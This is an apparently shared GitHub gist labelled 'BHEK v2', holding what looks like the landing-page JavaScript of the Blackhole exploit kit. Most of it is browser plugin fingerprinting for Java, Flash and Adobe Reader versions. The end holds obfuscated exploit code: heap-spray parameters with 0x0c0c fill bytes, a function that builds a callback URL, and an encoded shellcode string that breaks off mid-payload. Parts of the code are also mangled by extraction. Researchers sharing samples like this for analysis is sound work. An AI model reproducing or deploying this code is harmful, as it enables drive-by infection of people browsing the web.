Created
February 25, 2013 18:18
-
-
Save sebdraven/5031979 to your computer and use it in GitHub Desktop.
BHEK v2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pdpd = { | |
version: "0.7.9", | |
name: "pdpd", | |
handler: function (c, b, a) { | |
return function () { | |
c(b, a) | |
} | |
}, | |
openTag: "<", | |
isDefined: function (b) { | |
return typeof b != "undefined" | |
}, | |
isArray: function (b) { | |
return (/array/i).test(Object.prototype.toString.call(b)) | |
}, | |
isFunc: function (b) { | |
return typeof b == "function" | |
}, | |
isString: function (b) { | |
return typeof b == "string" | |
}, | |
isNum: function (b) { | |
return typeof b == "number" | |
}, | |
isStrNum: function (b) { | |
return (typeof b == "string" && (/\d/).test(b)) | |
}, | |
getNumRegx: /[\d][\d\.\_,-]*/, | |
splitNumRegx: /[\.\_,-]/g, | |
getNum: function (b, c) { | |
var d = this, | |
a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null; | |
return a ? a[0] : null | |
}, | |
compareNums: function (h, f, d) { | |
var e = this, | |
c, b, a, g = parseInt; | |
if (e.isStrNum(h) && e.isStrNum(f)) { | |
if (e.isDefined(d) && d.compareNums) { | |
return d.compareNums(h, f) | |
} | |
c = h.split(e.splitNumRegx); | |
b = f.split(e.splitNumRegx); | |
for (a = 0; ag(b[a], 10)) { | |
return 1 | |
} | |
if (g(c[a], 10) c || !(/\d/).test(e[a])) { | |
e[a] = "0" | |
} | |
} | |
return e.slice(0, 4).join(",") | |
}, | |
$$hasMimeType: function (a) { | |
return function (c) { | |
if (!a.isIE && c) { | |
var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []); | |
for (b = 0; b2 || !f || !f.version || !(e = h.getNum(f.version))) { | |
return b | |
} | |
if (!b) { | |
return e | |
} | |
e = h.formatNum(e); | |
b = h.formatNum(b); | |
d = b.split(h.splitNumRegx); | |
g = e.split(h.splitNumRegx); | |
for (a = 0; a0 && !f[g]) { | |
f[g] = f[a](f); | |
delete f[a] | |
} | |
} catch (d) {} | |
} | |
} | |
}, initObj: function (e, b, d) { | |
var a, c; | |
if (e) { | |
if (e[b[0]] == 1 || d) { | |
for (a = 0; a = 0; h = h - 2) { | |
if (g[h] && new RegExp(g[h], "i").test(b)) { | |
d.OS = g[h + 1]; | |
break | |
} | |
} | |
}; | |
d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null; | |
d.isIE = new Function("return/*@cc_on!@*/!1")(); | |
d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null; | |
d.ActiveXEnabled = false; | |
if (d.isIE) { | |
var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"]; | |
for (h = 0; h1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0) | |
} else { | |
if (b.isFunc(c)) { | |
c(b) | |
} | |
} | |
}, $$isMinVersion: function (a) { | |
return function (h, g, d, c) { | |
var e = a.init(h), | |
f, b = -1, | |
j = {}; | |
if (e.status < 0) { | |
return e.status | |
} | |
f = e.plugin; | |
g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0")); | |
if (f.getVersionDone != 1) { | |
f.getVersion(g, d, c); | |
if (f.getVersionDone === null) { | |
f.getVersionDone = 1 | |
} | |
} | |
a.cleanup(); | |
if (f.installed !== null) { | |
b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1))) | |
}; | |
return b | |
} | |
}, | |
getVersionDelimiter: ",", | |
$$getVersion: function (a) { | |
return function (g, d, c) { | |
var e = a.init(g), | |
f, b, h = {}; | |
if (e.status < 0) { | |
return null | |
}; | |
f = e.plugin; | |
if (f.getVersionDone != 1) { | |
f.getVersion(null, d, c); | |
if (f.getVersionDone === null) { | |
f.getVersionDone = 1 | |
} | |
} | |
a.cleanup(); | |
b = (f.version || f.version0); | |
b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b; | |
return b | |
} | |
}, | |
cleanup: function () { | |
var a = this; | |
if (a.garbage && a.isDefined(window.CollectGarbage)) { | |
window.CollectGarbage() | |
} | |
}, | |
addWinEvent: function (d, c) { | |
var e = this, | |
a = window, | |
b; | |
if (e.isFunc(c)) { | |
if (a.addEventListener) { | |
a.addEventListener(d, c, false) | |
} else { | |
if (a.attachEvent) { | |
a.attachEvent("on" + d, c) | |
} else { | |
b = a["on" + d]; | |
a["on" + d] = e.winHandler(c, b) | |
} | |
} | |
} | |
}, | |
winHandler: function (d, c) { | |
return function () { | |
d(); | |
if (typeof c == "function") { | |
c() | |
} | |
} | |
}, | |
WLfuncs0: [], | |
WLfuncs: [], | |
runWLfuncs: function (a) { | |
var b = {}; | |
a.winLoaded = true; | |
a.callArray(a.WLfuncs0); | |
a.callArray(a.WLfuncs); | |
if (a.onDoneEmptyDiv) { | |
a.onDoneEmptyDiv() | |
} | |
}, | |
winLoaded: false, | |
$$onWindowLoaded: function (a) { | |
return function (b) { | |
if (a.winLoaded) { | |
a.call(b) | |
} else { | |
a.fPush(b, a.WLfuncs) | |
} | |
} | |
}, | |
$$onDetectionDone: function (a) { | |
return function (h, g, c, b) { | |
var d = a.init(h), | |
k, e, j = {}; | |
if (d.status == -3) { | |
return -1 | |
} | |
e = d.plugin; | |
if (!a.isArray(e.funcs)) { | |
e.funcs = [] | |
} | |
if (e.getVersionDone != 1) { | |
k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b) | |
} | |
if (e.installed != -0.5 && e.installed != 0.5) { | |
a.call(g); | |
return 1 | |
} | |
if (e.NOTF) { | |
a.fPush(g, e.funcs); | |
return 0 | |
} | |
return 1 | |
} | |
}, | |
div: null, | |
divID: "pdpd", | |
divWidth: 50, | |
pluginSize: 1, | |
emptyDiv: function () { | |
var d = this, | |
b, h, c, a, f, g; | |
if (d.div && d.div.childNodes) { | |
for (b = d.div.childNodes.length - 1; b >= 0; b--) { | |
c = d.div.childNodes[b]; | |
if (c && c.childNodes) { | |
for (h = c.childNodes.length - 1; h >= 0; h--) { | |
g = c.childNodes[h]; | |
try { | |
c.removeChild(g) | |
} catch (f) {} | |
} | |
} | |
if (c) { | |
try { | |
d.div.removeChild(c) | |
} catch (f) {} | |
} | |
} | |
} | |
if (!d.div) { | |
a = document.getElementById(d.divID); | |
if (a) { | |
d.div = a | |
} | |
} | |
if (d.div && d.div.parentNode) { | |
try { | |
d.div.parentNode.removeChild(d.div) | |
} catch (f) {} | |
d.div = null | |
} | |
}, | |
DONEfuncs: [], | |
onDoneEmptyDiv: function () { | |
var c = this, | |
a, b; | |
if (!c.winLoaded) { | |
return | |
} | |
if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) { | |
return | |
} | |
for (a in c) { | |
b = c[a]; | |
if (b && b.funcs) { | |
if (b.OTF == 3) { | |
return | |
} | |
if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) { | |
return | |
} | |
} | |
} | |
for (a = 0; al || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1) { | |
return 0 | |
} | |
if (l >= i) { | |
return -1 | |
} | |
try { | |
if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) { | |
if (!m.winLoaded && c.winLoaded) { | |
return 1 | |
} | |
if (m.winLoaded && c.isNum(b)) { | |
if (!c.isNum(m.count)) { | |
m.count = b | |
} | |
if (b - m.count >= 10) { | |
return 1 | |
} | |
} | |
} | |
} catch (f) {} | |
return 0 | |
}, | |
getDOMobj: function (g, a) { | |
var f, d = this, | |
c = g ? g.span : 0, | |
b = c && c.firstChild ? 1 : 0; | |
try { | |
if (b && a) { | |
d.div.focus() | |
} | |
} catch (f) {} | |
return b ? c.firstChild : null | |
}, | |
setStyle: function (b, g) { | |
var f = b.style, | |
a, d, c = this; | |
if (f && g) { | |
for (a = 0; a. | |
'+c.openTag+"/div>");b=d.getElementById(h)}catch(f){}}a=d.getElementsByTagName("body")[0]||d.body;if(a){a.insertBefore(i,a.firstChild);if(b){a.removeChild(b)}}},insertHTML:function(f,b,g,a,k){var l,m=document,j=this,p,o=m.createElement("span"),n,i;var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];var h="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";if(!j.isDefined(a)){a=""}if(j.isString(f)&&(/[^\s]/).test(f)){f=f.toLowerCase().replace(/\s/g,"");p=j.openTag+f+' | |
width = "'+j.pluginSize+'" | |
height = "'+j.pluginSize+'" | |
';p+=' | |
style = "'+h+'display:inline;" | |
';for(n=0;n' | |
} | |
} | |
p += a + j.openTag + "/" + f + ">" | |
} else { | |
p = a | |
} | |
if (!j.div) { | |
i = m.getElementById(j.divID); | |
if (i) { | |
j.div = i | |
} else { | |
j.div = m.createElement("div"); | |
j.div.id = j.divID | |
} | |
j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"])); | |
if (!i) { | |
j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]); | |
j.insertDivInBody(j.div) | |
} | |
} | |
if (j.div && j.div.parentNode) { | |
j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"])); | |
try { | |
o.innerHTML = p | |
} catch (l) {}; | |
try { | |
j.div.appendChild(o) | |
} catch (l) {}; | |
return { | |
span: o, | |
winLoaded: j.winLoaded, | |
tagName: f, | |
outerHTML: p | |
} | |
} | |
return { | |
span: null, | |
winLoaded: j.winLoaded, | |
tagName: "", | |
outerHTML: p | |
} | |
}, | |
file: { | |
$: 1, | |
any: "fileStorageAny999", | |
valid: "fileStorageValid999", | |
save: function (d, f, c) { | |
var b = this, | |
e = b.$, | |
a; | |
if (d && e.isDefined(c)) { | |
if (!d[b.any]) { | |
d[b.any] = [] | |
} | |
if (!d[b.valid]) { | |
d[b.valid] = [] | |
} | |
d[b.any].push(c); | |
a = b.split(f, c); | |
if (a) { | |
d[b.valid].push(a) | |
} | |
} | |
}, | |
getValidLength: function (a) { | |
return a && a[this.valid] ? a[this.valid].length : 0 | |
}, | |
getAnyLength: function (a) { | |
return a && a[this.any] ? a[this.any].length : 0 | |
}, | |
getValid: function (c, a) { | |
var b = this; | |
return c && c[b.valid] ? b.get(c[b.valid], a) : null | |
}, | |
getAny: function (c, a) { | |
var b = this; | |
return c && c[b.any] ? b.get(c[b.any], a) : null | |
}, | |
get: function (d, a) { | |
var c = d.length - 1, | |
b = this.$.isNum(a) ? a : c; | |
return (0 > b || b > c) ? null : d[b] | |
}, | |
split: function (g, c) { | |
var b = this, | |
e = b.$, | |
f = null, | |
a, d; | |
g = g ? g.replace(".", "\.") : ""; | |
d = new RegExp("^(.*[^\/])(" + g + "\s*)$"); | |
if (e.isString(c) && d.test(c)) { | |
a = (RegExp.$1).split("/"); | |
f = { | |
name: a[a.length - 1], | |
ext: RegExp.$2, | |
full: c | |
}; | |
a[a.length - 1] = ""; | |
f.path = a.join("/") | |
} | |
return f | |
}, | |
z: 0 | |
}, | |
Plugins: { | |
java: { | |
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"], | |
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", | |
navigator: { | |
a: window.navigator.javaEnabled(), | |
javaEnabled: function () { | |
return this.a | |
}, | |
mimeObj: 0, | |
pluginObj: 0 | |
}, | |
OTF: null, | |
minIEver: 7, | |
debug: 0, | |
debugEnable: function () { | |
var a = this, | |
b = a.$; | |
a.debug = 1 | |
}, | |
isDisabled: { | |
$: 1, | |
DTK: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari, "5,1,0,0"))) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) { | |
return 1 | |
} | |
return 0 | |
}, | |
AXO: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0)) | |
}, | |
navMime: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.isIE || !a.mimeObj || !a.pluginObj) { | |
return 1 | |
} | |
return 0 | |
}, | |
navPlugin: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.isIE || !a.mimeObj || !a.pluginObj) { | |
return 1 | |
} | |
return 0 | |
}, | |
windowDotJava: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
if (!window.java) { | |
return 1 | |
} | |
if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)) { | |
return 1 | |
} | |
return 0 | |
}, | |
allApplets: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
if (d.OS >= 20) { | |
return 0 | |
} | |
if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) && !a.mimeObj && !c.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
return 0 | |
}, | |
AppletTag: function () { | |
var b = this, | |
d = b.$, | |
c = b.$$, | |
a = c.navigator; | |
return d.isIE ? !a.javaEnabled() : 0 | |
}, | |
ObjectTag: function () { | |
var a = this, | |
c = a.$, | |
b = a.$$; | |
return c.isIE ? !c.ActiveXEnabled : 0 | |
}, | |
z: 0 | |
}, | |
getVerifyTagsDefault: function () { | |
var a = this, | |
c = a.$, | |
b = [1, 0, 1]; | |
if (c.OS >= 20) { | |
return b | |
} | |
if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && 0 > c.compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 > c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10)) { | |
b = [1, 1, 1] | |
} | |
return b | |
}, | |
getVersion: function (j, g, i) { | |
var b = this, | |
d = b.$, | |
e, a = b.applet, | |
h = b.verify, | |
k = b.navigator, | |
f = null, | |
l = null, | |
c = null; | |
if (b.getVersionDone === null) { | |
b.OTF = 0; | |
k.mimeObj = d.hasMimeType(b.mimeType); | |
if (k.mimeObj) { | |
k.pluginObj = k.mimeObj.enabledPlugin | |
} | |
if (h) { | |
h.begin() | |
} | |
} | |
a.setVerifyTagsArray(i); | |
d.file.save(b, ".jar", g); | |
if (b.getVersionDone === 0) { | |
if (a.should_Insert_Query_Any()) { | |
e = a.insert_Query_Any(); | |
b.setPluginStatus(e[0], e[1], f) | |
} | |
return | |
} | |
if ((!f || b.debug) && b.DTK.query().version) { | |
f = b.DTK.version | |
} | |
if ((!f || b.debug) && b.navMime.query().version) { | |
f = b.navMime.version | |
} | |
if ((!f || b.debug) && b.navPlugin.query().version) { | |
f = b.navPlugin.version | |
} | |
if ((!f || b.debug) && b.AXO.query().version) { | |
f = b.AXO.version | |
} | |
if (b.nonAppletDetectionOk(f)) { | |
c = f | |
} | |
if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) { | |
e = b.lang.System.getProperty(); | |
if (e[0]) { | |
f = e[0]; | |
c = e[0]; | |
l = e[1] | |
} | |
} | |
b.setPluginStatus(c, l, f); | |
if (a.should_Insert_Query_Any()) { | |
e = a.insert_Query_Any(); | |
if (e[0]) { | |
c = e[0]; | |
l = e[1] | |
} | |
} | |
b.setPluginStatus(c, l, f) | |
}, | |
nonAppletDetectionOk: function (b) { | |
var d = this, | |
e = d.$, | |
a = d.navigator, | |
c = 1; | |
if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) { | |
c = 0 | |
} else { | |
if (e.OS >= 20) {} else { | |
if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2()) { | |
c = 0 | |
} | |
} | |
} | |
return c | |
}, | |
setPluginStatus: function (d, f, a) { | |
var c = this, | |
e = c.$, | |
b; | |
a = a || c.version0; | |
if (0c.installed) { | |
c.installed = b | |
} | |
} | |
if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) { | |
c.installed = a ? -0.2 : -1 | |
}; | |
if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) { | |
c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5 | |
} | |
if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) { | |
if (d) { | |
c.installed = 1 | |
} else { | |
if (c.NOTF.isJavaActive(1) == 1) { | |
if (a) { | |
c.installed = 1; | |
d = a | |
} else { | |
c.installed = 0 | |
} | |
} else { | |
if (a) { | |
c.installed = -0.2 | |
} else { | |
c.installed = -1 | |
} | |
} | |
} | |
}; | |
if (a) { | |
c.version0 = e.formatNum(e.getNum(a)) | |
} | |
if (d) { | |
c.version = e.formatNum(e.getNum(d)) | |
} | |
if (f && e.isString(f)) { | |
c.vendor = f | |
} | |
if (!c.vendor) { | |
c.vendor = "" | |
} | |
if (c.verify && c.verify.isEnabled()) { | |
c.getVersionDone = 0 | |
} else { | |
if (c.getVersionDone != 1) { | |
if (c.OTF < 2) { | |
c.getVersionDone = 0 | |
} else { | |
c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1 | |
} | |
} | |
} | |
}, | |
DTK: { | |
$: 1, | |
hasRun: 0, | |
status: null, | |
VERSIONS: [], | |
version: "", | |
HTML: null, | |
Plugin2Status: null, | |
classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], | |
mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"], | |
disabled: function () { | |
return this.$$.isDisabled.DTK() | |
}, | |
query: function () { | |
var k = this, | |
g = k.$, | |
d = k.$$, | |
j, l, h, m = {}, f = {}, a, c = null, | |
i = null, | |
b = (k.hasRun || k.disabled()); | |
k.hasRun = 1; | |
if (b) { | |
return k | |
} | |
k.status = 0; | |
if (g.isIE && 6 <= g.verIE) { | |
for (l = 0; l = 0; l--) { | |
r = "JavaWebStart.isInstalled." + b + l + ".0"; | |
if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) { | |
continue | |
} | |
m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false; | |
for (q = d[3]; q >= 0; q--) { | |
c = l + "_" + (q < 10 ? "0" + q : q); | |
o = n + c; | |
if (e.getAXO(o) && (m || e.getAXO(r))) { | |
i.push(b + c); | |
if (!p) { | |
return i | |
} | |
} | |
if (o == g) { | |
return i | |
} | |
} | |
if (e.getAXO(n + l) && (m || e.getAXO(r))) { | |
i.push(b + l); | |
if (!p) { | |
return i | |
} | |
} | |
if (n + l == g) { | |
return i | |
} | |
} | |
} | |
return i | |
} | |
}, | |
navMime: { | |
$: 1, | |
hasRun: 0, | |
mimetype: "", | |
version: "", | |
length: 0, | |
mimeObj: 0, | |
pluginObj: 0, | |
disabled: function () { | |
return this.$$.isDisabled.navMime() | |
}, | |
query: function () { | |
var i = this, | |
f = i.$, | |
a = i.$$, | |
b = (i.hasRun || i.disabled()); | |
i.hasRun = 1; | |
if (b) { | |
return i | |
}; | |
var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i, | |
g, l, j, d = "", | |
h = "a", | |
o, m, k = {}, c = f.formatNum("0"); | |
for (l = 0; l = 5) { | |
f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0") | |
} | |
} | |
if (!f || c.debug) { | |
g = /Java[^\d]*Plug-in/i; | |
l = g.test(i) ? e.formatNum(e.getNum(i)) : 0; | |
k = g.test(a) ? e.formatNum(e.getNum(a)) : 0; | |
if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) { | |
l = 0 | |
} | |
if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) { | |
k = 0 | |
} | |
d = l && k ? (0c[a]) { | |
c[a] = 0 | |
} | |
if (c[a] > 3) { | |
c[a] = 3 | |
} | |
b.allowed[a] = c[a] | |
} | |
} | |
} | |
}, | |
setVerifyTagsArray: function (d) { | |
var b = this, | |
c = b.$, | |
a = b.$$; | |
if (a.getVersionDone === null) { | |
b.saveAsVerifyTagsArray(a.getVerifyTagsDefault()) | |
} | |
if (a.debug || (a.verify && a.verify.isEnabled())) { | |
b.saveAsVerifyTagsArray([3, 3, 3]) | |
} else { | |
if (d) { | |
b.saveAsVerifyTagsArray(d) | |
} | |
} | |
}, | |
allDisabled: function () { | |
return this.$$.isDisabled.allApplets() | |
}, | |
isDisabled: function (d) { | |
var b = this, | |
c = b.$, | |
a = b.$$; | |
if (d == 2 && !c.isIE) { | |
return 1 | |
} | |
if (d === 0 || d == 2) { | |
return a.isDisabled.ObjectTag() | |
} | |
if (d == 1) { | |
return a.isDisabled.AppletTag() | |
} | |
}, | |
can_Insert_Query: function (b) { | |
var a = this; | |
if (a.HTML[b]) { | |
return 0 | |
} | |
return !a.isDisabled(b) | |
}, | |
can_Insert_Query_Any: function () { | |
var b = this, | |
a; | |
for (a = 0; a = 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
isJavaActive: function (d) { | |
var f = this, | |
c = f.$$, | |
a, b, e = -9; | |
for (a = 0; ae) { | |
e = b | |
} | |
} | |
return e | |
}, | |
isAppletActive: function (c, a) { | |
var d = this, | |
b = d.$$.applet.active; | |
if (!a) { | |
b[c] = d.isAppletActive_(c) | |
} | |
return b[c] | |
}, | |
isAppletActive_: function (d) { | |
var g = this, | |
f = g.$, | |
b = g.$$, | |
l = b.navigator, | |
a = b.applet, | |
h = a.HTML[d], | |
i, k, c = 0, | |
j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count); | |
if (j == -2) { | |
return -2 | |
} | |
try { | |
if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object) { | |
return 1 | |
} | |
} catch (i) {} | |
for (k = 0; kj) { | |
return -1 | |
} | |
return 0 | |
}, | |
winOnLoadQuery: function (c, d) { | |
var b = d.$$, | |
a; | |
if (b.OTF == 3) { | |
a = d.queryAllApplets(); | |
d.queryCompleted(a[1], a[2]) | |
} | |
}, | |
$$onIntervalQuery: function (d) { | |
var c = d.$, | |
b = d.$$, | |
a; | |
if (b.OTF == 3) { | |
a = d.queryAllApplets(); | |
if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) { | |
d.queryCompleted(a[1], a[2]) | |
} | |
} | |
d.count++; | |
if (b.OTF == 3) { | |
setTimeout(d.onIntervalQuery, d.intervalLength) | |
} | |
}, | |
queryAllApplets: function () { | |
var g = this, | |
f = g.$, | |
e = g.$$, | |
d = e.applet, | |
b, a, c; | |
for (b = 0; b = 4) { | |
return | |
} | |
b.OTF = 4; | |
var a = e.isJavaActive(); | |
b.setPluginStatus(c, f, 0); | |
if (b.funcs) { | |
d.callArray(b.funcs) | |
} | |
if (d.onDoneEmptyDiv) { | |
d.onDoneEmptyDiv() | |
} | |
} | |
}, | |
zz: 0 | |
}, | |
flash: { | |
mimeType: "application/x-shockwave-flash", | |
progID: "ShockwaveFlash.ShockwaveFlash", | |
classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", | |
getVersion: function () { | |
var b = function (i) { | |
if (!i) { | |
return null | |
} | |
var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i); | |
return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null | |
}; | |
var j = this, | |
g = j.$, | |
k, h, l = null, | |
c = null, | |
a = null, | |
f, m, d; | |
if (!g.isIE) { | |
m = g.hasMimeType(j.mimeType); | |
if (m) { | |
f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j)); | |
try { | |
l = g.getNum(f.GetVariable("$version")) | |
} catch (k) {} | |
} | |
if (!l) { | |
d = m ? m.enabledPlugin : null; | |
if (d && d.description) { | |
l = b(d.description) | |
} | |
if (l) { | |
l = g.getPluginFileVersion(d, l) | |
} | |
} | |
} else { | |
for (h = 15; h > 2; h--) { | |
c = g.getAXO(j.progID + "." + h); | |
if (c) { | |
a = h.toString(); | |
break | |
} | |
} | |
if (!c) { | |
c = g.getAXO(j.progID) | |
} | |
if (a == "6") { | |
try { | |
c.AllowScriptAccess = "always" | |
} catch (k) { | |
return "6,0,21,0" | |
} | |
} | |
try { | |
l = b(c.GetVariable("$version")) | |
} catch (k) {} | |
if (!l && a) { | |
l = a | |
} | |
} | |
j.installed = l ? 1 : -1; | |
j.version = g.formatNum(l); | |
return true | |
} | |
}, | |
adobereader: { | |
mimeType: "application/pdf", | |
navPluginObj: null, | |
progID: ["AcroPDF.PDF", "PDF.PdfCtrl"], | |
classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000", | |
INSTALLED: {}, | |
pluginHasMimeType: function (d, c, f) { | |
var b = this, | |
e = b.$, | |
a; | |
for (a in d) { | |
if (d[a] && d[a].type && d[a].type == c) { | |
return 1 | |
} | |
} | |
if (e.getMimeEnabledPlugin(c, f)) { | |
return 1 | |
} | |
return 0 | |
}, | |
getVersion: function (l, j) { | |
var g = this, | |
d = g.$, | |
i, f, m, n, b = null, | |
h = null, | |
k = g.mimeType, | |
a, c; | |
if (d.isString(j)) { | |
j = j.replace(/\s/g, ""); | |
if (j) { | |
k = j | |
} | |
} else { | |
j = null | |
} | |
if (d.isDefined(g.INSTALLED[k])) { | |
g.installed = g.INSTALLED[k]; | |
return | |
} | |
if (!d.isIE) { | |
a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in"; | |
if (g.getVersionDone !== 0) { | |
g.getVersionDone = 0; | |
b = d.getMimeEnabledPlugin(g.mimeType, a); | |
if (!j) { | |
n = b | |
} | |
if (!b && d.hasMimeType(g.mimeType)) { | |
b = d.findNavPlugin(a, 0) | |
} | |
if (b) { | |
g.navPluginObj = b; | |
h = d.getNum(b.description) || d.getNum(b.name); | |
h = d.getPluginFileVersion(b, h); | |
if (!h && d.OS == 1) { | |
if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) { | |
h = "9" | |
} else { | |
if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) { | |
h = "8" | |
} | |
} | |
} | |
} | |
} else { | |
h = g.version | |
} | |
if (!d.isDefined(n)) { | |
n = d.getMimeEnabledPlugin(k, a) | |
} | |
g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1)) | |
} else { | |
b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]); | |
c = /=\s*([\d\.]+)/g; | |
try { | |
f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions(); | |
for (m = 0; m < 5; m++) { | |
if (c.test(f) && (!h || h ";}function getCN(){return " / forum / links / column.php ? uamzvwn = "+x(" | |
9b359 ")+" & kmlzsdsd = "+x(" | |
obnwp ")+" & juy = 2v : 1k: 1m: 32: 33: 1k: 1k: 31: 1j: 1o & tanjaai = eeunwhmk "}function getBlockSize(){return 1024}function getAllocSize(){return 1024*1024}function getAllocCount(){return 300}function getFillBytes(){var a='%u'+'0c0c';return a+a}function getShellCode(){var a=" | |
8282! % 51b4! % 7434! % 05e0! % 7451! % e095! % 9134! % f451! % 74e0! % 2191! % 9124! % 9121! % 21b1! % 9134! % 3421! % 2191! % b1b1! % a121! % 21b1! % 9154! % 3421! % 2191! % a1e5! % d451! % e0e4! % 9174! % 3421! % 2191! % 9114! % f521! % 21a1! % 9174! % e451! % 7194! % 0485! % 6085! % 5464! % 44d5! % b474! % b570! % 6434! % 4414! % 5470! % a5d5! % e474! % 8170! % 8101! % 2101! % a5d5! % b460! % c4d4! % b5d4! % d4a5! % 5454! % a5d5! % e474! % 7070! % 8521! % c5c5! % 8504! % 2370! % 15e1! % eee6! % 3733! % 2e2a! % 59b1! % 7492! % 621a! % 6d2a! % 4c0b! % 6662! % 7d6a! % 6d7d! % 0c4b! % e702! % 6d7d! % 8224! % ce24! % 82d5! % 8a71! % 2df6! % 82d5! % 8a71! % b3f6! % a23c! % 423c! % babe! % e7c2! % b77d! % 3c42! % 82ba! % c224! % 7de7! % 82b7! % e324! % 8ed5! % c3da! % 7de7! % 2482! % b7f7! % 2482! % 2482! % 9697! % 53c2! % 0ac6! % c281! % 2a9e! % 8217! % 5312! % eec6! % 4444! % 60c4! % 53d2! % fec6! % a4c5! % 